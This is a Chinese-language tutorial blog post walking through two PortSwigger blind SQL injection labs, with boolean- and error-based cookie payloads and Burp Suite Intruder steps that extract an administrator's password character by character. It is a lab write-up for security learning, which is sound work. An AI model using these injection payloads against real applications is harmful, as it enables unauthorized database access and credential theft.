今天我們要介紹的就是 SQL 的盲注,不是德州撲克的大小盲(德州撲克好讚),那什麽是 SQL 的盲注呢?基本上當應用程式很常受到 SQLi 攻擊,但是該應用程式不會回傳 SQL 語法的查詢結果或者任何報錯的詳細資訊的時候,就會需要這個用到盲注
我們昨天學的 UNION 對盲注來説并不是一個有用的方法,還記得昨天判斷能否使用 UNION 的條件嗎?我們用到了很多系統報錯的回饋來繼續我們得分操作,但這對盲注並沒有用,因爲我們不會從系統報錯得到太多資訊來幫助我們繼續操作,所以爲了可以達到不依靠系統報錯才能使用 SQLi,我們需要學習新的技術(今天廢話好少好不習慣)
那 SQLi 的盲注又有很多不同的種類,基本上常見的就是以下幾種:
如剛剛所述,既然系統不會回應,那就想辦法逼它開口,我們需要考慮動用到其他東西:cookie,有常在處理 Web security 的應該對這個不陌生,需要做的就是想辦法去追蹤它,那應用程式就會使用 SQL 來查詢這個 Token 是不是屬於已知的 user,如果運氣很好提交的是已知的 user ,就會有系統寫的 歡迎回來 之類的鬼話,但是一般都不會啦
基本上剛剛的手法足夠去進行一個簡單的盲注了,剩下的就是一樣用語法去 bypass 一些條件去撈詳細的資訊,那廢話不多説,例題 Go Go
例題網址:https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
這題就是練習剛剛提到的追蹤 cookie,進去 Lab 後先直接點開登入界面,直接 F12 打開找他的cookie,至於 1=1
就是一樣產生一個 true 的布林值
TrackingId = zOmGGSCYxvcJkpQt' AND '1'='1
你要做的就是在這裡修改它讀取 cookie 的 token,像這裡把布林值改成 false 以後原本有的 Welcome back 就不見了
接著就是確認有沒有 users 這個欄位,會用到以下語法
TrackingId = zOmGGSCYxvcJkpQt' AND (SELECT 'a' FROM users LIMIT 1)='a
測試的結果是真的有(判斷是否跳出 Welcome back,得知布林值為 true),那接著就是進一步的測試找有沒有 admin 權限的 administrator 賬號,
TrackingId = zOmGGSCYxvcJkpQt' AND (SELECT 'a' FROM users WHERE username='administrator')='a
可以看到一樣是 true,那我們就可以開始想辦法捅出密碼了,會用的語法如下:
TrackingId=zOmGGSCYxvcJkpQt' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
那密碼的長度就是數字一直往上加來測試,直到布林值為 false,然後 n 就是密碼長度,那礙於篇幅就不一一演示
或者還有一個辦法,還記得載完被我們放置 play,的 kali 嗎,現在就是他派上用場的時候,打開 kali 以後順便開啓他的 brupsuit,如附圖
接著一路一直按確定到這個畫面,順便把 proxy 點開
接著打開 open browser 把 Lab 的網址貼進去,進入 Lab 後再打開 proxy 頁面的 intercept ,在 Lab 按下 F5 後他就會抓取與網頁的封包直接顯示出來,然後一樣在 proxy 界面點開 Action,然後選擇 Send to Repeater,然後就可以一直改一直送出一直爽了,理論上作完這一系列的操作你的畫面會長這樣
然後你就會得到你的 n 會是 20,代表密碼有20位數,至於如何把密碼從資料庫搬出來,首先回到 proxy 界面,一樣選擇 Action 只是這一次是選擇 Send to Intruder,然後用語法想辦法讓它酒後吐真言
zOmGGSCYxvcJkpQt' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
先按旁邊的 clear 然後把最後的 a
用 §
抱起來像這樣
zOmGGSCYxvcJkpQt' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='§a§
接著就是使用他内建的工具把一個個字元找出來,點同一個頁面的 payload,進去以後 把 payload type 改成 brute forcer,然後最大最小值都改成 1,接著就是點擊 start attack
然後他就會開始戳第一位的密碼是什麽,所以爲了拿到整串的密碼,你需要用 20 次,或者選擇自動但是會耗時超過半個小時的方法,這裡果斷選擇不教,因爲真的太坐牢了,這邊需要修改的參數只有 password 後面的第一個 1,乖乖重複 20 次吧少年
zOmGGSCYxvcJkpQt' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='§a§
接著密碼就出來了,然後登入就算成功了,這裡附上成功人權圖,密碼就不放了,每個人都不一樣
啊不是不依靠報錯,怎麽又提到報錯回應,這個比較算是用錯誤來堆進度,什麽意思?簡單來說,沒有看到報錯就是你做錯了,我省略了大部分的細節但是保留了一部分,但是就是要利用前面的報錯來推導資料庫類型,才能找到適用的語法來進一步注入,用這題的 Lab 來舉例吧~
例題網址:https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
好一樣進 Lab,也是 F12 打開找 cookie 的 token,那向我剛剛提到的在報錯中前進是什麽?我們可以先塞沒有錯誤的語法來看系統的反應,然後也試試用很明顯錯誤的語法來試探它的底缐,舉個例子
這是正確的語法
TrackingId = KIHVFrxCQI2Qw4Fn'
這是錯誤的語法
TrackingId = KIHVFrxCQI2Qw4Fn''
可以看到報錯消失了,代表語法錯誤會影響到回傳的東西,那我們可以就可以開始嘗試幫他加一些好康的,想辦法看可不可以拿報錯
TrackingId = KIHVFrxCQI2Qw4Fn'||(SELECT '')||'
理論上這裡的報錯就會跟資料庫的類型有關,那我們可以用之前的 cheat-sheet 來參考要下什麽語法對應不同的資料庫,這裡先試試 Oracle,因爲這個題圖基本上都是用這個寫的,所以經驗上來推測也是可行的
TrackingId = KIHVFrxCQI2Qw4Fn '||(SELECT '' FROM dual)||'
可以看到報錯消失了,代表確實是使用 Oracle 來寫的,那就代表我們找對東西了,那就再撈撈看有沒有 users
TrackingId = KIHVFrxCQI2Qw4Fn '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
ROWNUM = 1 在這的意思是防止回傳過多影響我們的查詢,這串語法可以檢測 users 是否存在,沒有報錯説明是存在的
既然 users 存在那題目要我們找的 administrator 基本上也是存在的,但是我們還是需要驗證一下,以防萬一
TrackingId = KIHVFrxCQI2Qw4Fn'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
中間沒看過的語法 CASE
代表的是一個條件句,你可以把它想象成 if,而 THEN TO_CHAR(1/0)
則是用來判斷單一布林值,並在條件為真時觸發資料庫錯誤
出現了報錯代表 administrator 真的存在,那就可以來找密碼長度了
TrackingId = KIHVFrxCQI2Qw4Fn'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
一樣拿去 repeater 跑,跑到報錯消失,理論上會是 20 位的密碼,接著就是繼續戳出每個字元
TrackingId = KIHVFrxCQI2Qw4Fn'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
也是剛剛的 intruder,用同樣的方法戳出字元,詳細的方法就不再講一次了,需要的自己會上面翻(癱,密碼每個人的也都不一樣,所以也只放上正確的圖
今天文章中提到了一個自動的方法,但是我個人操作起來是用了 2 個半小時跑了 2160 條 payloads 花了一堆時間,重!點!是!跑完密碼還是錯的,所以後面我都一條一條硬刻,結果用了不到 20分鐘就處理完了,心好累 QAQ,各位電神大大如果有方法可以優化 brupsuite 中 cluster bomb 的多個 payload 運行速度還請各位留言告訴我,不論是要加什麽附加條件或者有特殊的方法可以讓他跑快一點都行,小弟不才需要各位電神把拔的支援
然後我發現我安裝完 kali 後完全沒有講 Linux 的使用方式的情況下直接開 kali 起來用,這樣感覺好像對入門的朋友十分不友善,所以我決定先教完 SQLi 後再講 Linux 基礎,畢竟教到一半腰斬再接上去的感覺很不好,那還不如一次處理完,在此先對之後的安排做説明,對我個人的疏失還請各位多多擔待